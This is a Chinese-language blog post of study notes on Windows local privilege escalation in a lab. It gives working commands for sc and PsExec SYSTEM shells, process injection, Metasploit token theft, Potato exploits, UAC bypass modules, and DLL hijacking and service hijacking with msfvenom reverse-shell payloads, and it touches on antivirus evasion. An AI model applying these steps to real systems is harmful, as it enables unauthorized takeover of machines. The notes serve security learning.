本地提权

服务命令

  1. at 命令提权

    1. 介绍
      1. at 命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用 system 权限。
    2. 适用版本
      1. Win2000&Win2003&XP 中还是存在的,在 Win7 以后被剔除当我们拿到低权限的用户,通过连接上服务器后,可以通过 at 命令来进行本地提权。
    3. 复现
      1. 直接使用 at 21:00 /interactive cmd 命令,成功就会弹出黑窗口即使 system 权限
  2. sc 命令提权

    1. 介绍
      1. sc 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。
    2. 适用版本
      1. windows7、8、03、08、12、16(win2003 ok 其他未测基本失败)
    3. 复现
      1. 创建服务,直接使用以下命令其中一条即可

        1.  sc create syscmd binPath= "cmd /K start" type= own type= interact start= demand error= normal
           sc Create syscmd binPath="cmd /K start" type = own type = interact
          
      2. 启动该服务,sc start stscmd

        1. image
  3. ps 应用程序提权

    1. 复现
      1. 直接将 PsExec.exe 上传至靶机之后,运行 PsExec.exe -accepteula -s -i -d cmd 命令即可

        1. 工具地址:https://pan.baidu.com/s/1qnZOprljTBwFnt06TCEsWA?pwd=cong
        2. image
      2. 有些计算机是直接弹出有些还需要点击,这与 UAC 的值相关

进程注入

  1. 进程迁移注入

    1. 介绍
      1. 进程迁移注入提权就是将获取到权限低的进程注入至进程中权限高的中,这样就实现了权限提升,同时注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现。
    2. 条件
      1. 这里如果使用的是 web 权限是无法执行的,必须获取到类似与 administrator 的权限才能进行进程注入。同时这类提权是不会被杀毒软件拦截的,这是系统的一种特性。
    3. 复现
      1. 首先上传 pinjector.exe 工具

        1. 工具地址:https://pan.baidu.com/s/1S41aqaaEFsQ_ZrNvrWss1w?pwd=cong
      2. 使用工具列出所有进程 pinjector.exe -l

        1. image
      3. 选择一个 system 权限运行的进程,对此 pid 进程执行注入,并建立侦听端口pinjector.exe -p <pid> cmd <port>

        1. image
  2. MSF 自动化注入

    1. 介绍
      1. 这个提权其实很简单,这个 MSF 自动化提权和之前在溢出提权中提到的自动化提权是不一样的,溢出提权中提到的自动化提权是通过比对补丁信息进行提权,而这个是自动化提权是直接输入命令后,MSF 自动执行,只会显示提权成功与失败。
    2. getsystem
      1. 原理
        1. getsystem 创建一个新的 Windows 服务,设置为 SYSTEM 运行,当它启动时连接到一个命名管道。
        2. getsystem 产生一个进程,它创建一个命名管道并等待来自该服务的连接。
        3. Windows 服务已启动,导致与命名管道建立连接。
        4. 该进程接收连接并调用 ImpersonateNamedPipeClient,从而为 SYSTEM 用户创建模拟令牌。
      2. 复现
        1. 连接上了直接使用 getsystem 即可

MSF 令牌窃取

  1. 介绍
    1. 首先需要生成一个木马然后让其上线,并连接上去,这里我就用之前已经生成好的木马,就不再生成了,在上面也提到过 MSF 生成木马的命令。
  2. 复现
    1. 先用 msf 生成后门,连接后门

    2. 使用一下命令即可

      1.  use incognito
         list_tokens -u           #列出有的令牌
         impersonate_token "NT AUTHORITY\SYSTEM"    #窃取system令牌
        
      2. image
  3. 烂土豆提权

    1. 介绍
      1.  烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户。

          欺骗 “NT AUTHORITY\SYSTEM”账户通过 NTLM 认证到我们控制的 TCP 终端,对这个认证过程使用中间人攻击(NTLM 重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的 Windows API 调用实现的,模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL 等)有这个权限,大多数用户级的账户没有这个权限。

    2. 适用版本
      1. Windows 7/8/10,Windows server 2008/2012
    3. 复现
      1. 将工具上传至靶机

        1. 工具下载;Release Fresh potatoes · ohpe/juicy-potato (github.com)
      2. 使用 msf 工具执行以下命令

        1.  execute -cH -f ./potato.exe    ##执行烂土豆程序
           use incognito                  ##加载窃取功能
           list_tokens -u                 ##查看可窃取的令牌
           impersonate_token "NT AUTHORITY\SYSTEM"   ##使用令牌
          
      3. image

UAC 绕过

  1. 介绍

    1. UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在 Windows Vista 中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。
    2. 也就是说一旦用户允许启动的应用程序通过 UAC 验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户 UAC 验证的程序,那么相应的我们的程序也就实现了提权的过程。
    3. 使用 msconfig 命令即可打开查看
  2. 复现

    1. 使用 ask模块 绕过
      1. 搜索 UAC,search uac,找一个喜欢的模块进行攻击

        1. image
      2. 选好模块之后执行以下命令

        1.  use exploit/windows/local/ask    ##选择模块
           sessions         ##查看后台进程
           set session 1    ##选择进程
           set lport 5555   ##设置监听端口,有时候返回回来会出现错误,所以就另起一个监听。
          
      3. image

    2. 使用 bypassuac_sluihijack 模块绕过
      1. 直接使用以下命令

        1.  use exploit/windows/local/bypassuac   ##选择bypass
           sessions         ##选择会话
           set session 1    ##设定会话
           set lport 5555   ##设定反弹端口,这里不设置也可以,但是有时候直接反弹回来,会出现反弹不成功的情况。
           run  ##执行
          
    3. 使用 bypassuac_silentcleanup 模块绕过
      1. 直接使用以下命令即可

        1.  use exploit/windows/local/bypassuac_silentcleanup   ##选择模块
           sessions    ##选择会话
           set session 5   ##设置会话
           set lport 6666  ##设置监听端口
           run   ##执行
          
    4. UACME 工具绕过
      1. 工具下载
        1. 老版工具:https://pan.baidu.com/s/1rTzxW60frZL65Q_6Nz10XQ?pwd=cong
        2. 新版需要自己编译:UACMe
      2. 复现
        1. 这个工具挺牛的,竟然把我本机给提权了

        2. 使用 msf 生成后门进行监听 5577 端口

        3. 将工具上传至靶机,使用以下命令 Akagi64.exe 41 D:\Desktop\UACME-Akagi\cong.exe,这个数字是使用第几个模块,通过不断尝试,在 41 模块中可以进行提权,61 模块也不错

          1. image
          2. image

DLL 劫持提权

  1. 介绍

    1. DLL 劫持是一种安全攻击技术,它利用 Windows 操作系统在加载动态链接库(DLL)时的行为特点。在这种攻击中,攻击者将恶意的 DLL 文件放置在操作系统或应用程序预期加载合法 DLL 的位置。当应用程序或操作系统尝试加载其所需的 DLL 时,由于路径或加载顺序的问题,系统会错误地加载攻击者提供的恶意 DLL。这可以使攻击者执行任意代码,从而实现提权或其他恶意行为。此技术常被用于绕过安全限制,获取更高的系统权限,或在系统中植入恶意软件。
  2. 原理

    1. DLL 替换
      1. Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径。

        它会根据下面的顺序进行搜索:

        1、应用程序加载的目录
        2、C:\Windows\System32
        3、C:\Windows\System
        4、C:\Windows
        5、当前工作目录 Current Working Directory,CWD
        6、在 PATH 环境变量的目录(先系统后用户)

        程序运行一般会加载系统 dll 或本身程序自带的 dll,如果我们将程序执行时需要加载的 dll 文件替换成程序,那么我们下次在启动程序时所加载的 dll 就是我们替换的那个木马程序了。

    2. 路径不带引号绕过
      1. 当 Windows 服务运行时,会发生以下两种情况之一。如果给出了可执行路径,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
      2. 不过这个确实局限性还是很大的,比如虚拟机中没有找到这样的情况,实体机没有找到,客户现场机器也没找到.......同时还有一个问题是就算有,很多都是在 C 盘中,如果基本权限不够大,那么也凉凉,也用不了。
  3. 复现

    1. DLL 劫持
      1. 工具下载: https://pan.baidu.com/s/1CQtyIl_utGbAAa5VrJdCzg?pwd=cong

      2. 首先先收集 dll 文件

        1. 这里会出现一个问题,没有远程桌面我们如何收集,这里其实有个很简单的办法就是,通过上线普通木马后,看看能不能查看有存在哪些服务,然后找到相关服务本地安装,安装后使用火绒剑等工具进行查找加载的 dll 文件即可。

          像系统文件加载的 dll 我们是动不了的,我们一般能懂的都是未知文件和数字签名文件。

        2. image

      3. 使用工具检测是否可以进行劫持

        1. image
      4. 通过 msf 生成后门 dll 文件,msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.20 lport=5577 -f dll >libeay32.dll

      5. 使用 msf 监听 5577 端口

      6. 当靶机使用 ftp 时自动触发后门

    2. 路径不带引号绕过
      1. 通过 wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ 命令来寻找是否存在 不带引号具有空格 的特征

        1. image
        2. image
      2. 利用 msf 生成后门,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5577 -f exe -o Microsoft.exe

      3. 启动监听,重启服务即可

      4. 没有独显成功,即使将杀毒软件关闭,系统也会自动清理掉这个病毒,因该需要做下免杀

不安全服务

  1. 介绍

    1. Windows 服务有时被配置为与服务本身或与服务运行的目录相关的弱权限。这可能允许攻击者操纵服务,以便在其启动时执行任意代码,并将权限提升到 SYSTEM。
  2. 利用方式

    1. 将服务的 binpath 更改为我们上传的木马文件路径,以便在服务启动时执行恶意代码从而获得 system 权限,这里可以利用 accesschk.exe 工具辅助实现。
    2. accesschk 是一个 windows 系统配置检查工具,用于查看文件、注册表项、服务、进程、内核对象等的有效权限。该工具将有助于识别当前用户是否可以修改某个服务目录中的文件,由于它是微软官方出品,我们将其上传至靶机,执行不会受到阻碍。
  3. 复现

    1. 工具下载:accesschk.exe

    2. 查看工具帮助,accesschk.exe /accepteula

      1. image
    3. 查看用户可以修改哪些服务的权限,accesschk.exe -uwcqv "Administrators" *

      1. image
    4. 修改服务路径,sc config napagent binpath= "C:\Microsoft.exe"(Microsoft.exe 为木马)

      1. image
    5. 启动监听和启动服务

      1. image
      2. 并不是 system 服务,其次很容易掉线,可能是选错了服务

  • CongSec

    本标签主要用于分享网络空间安全专业的学习笔记

    6 引用 • 1 回帖 • 1 关注

相关帖子

回帖

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...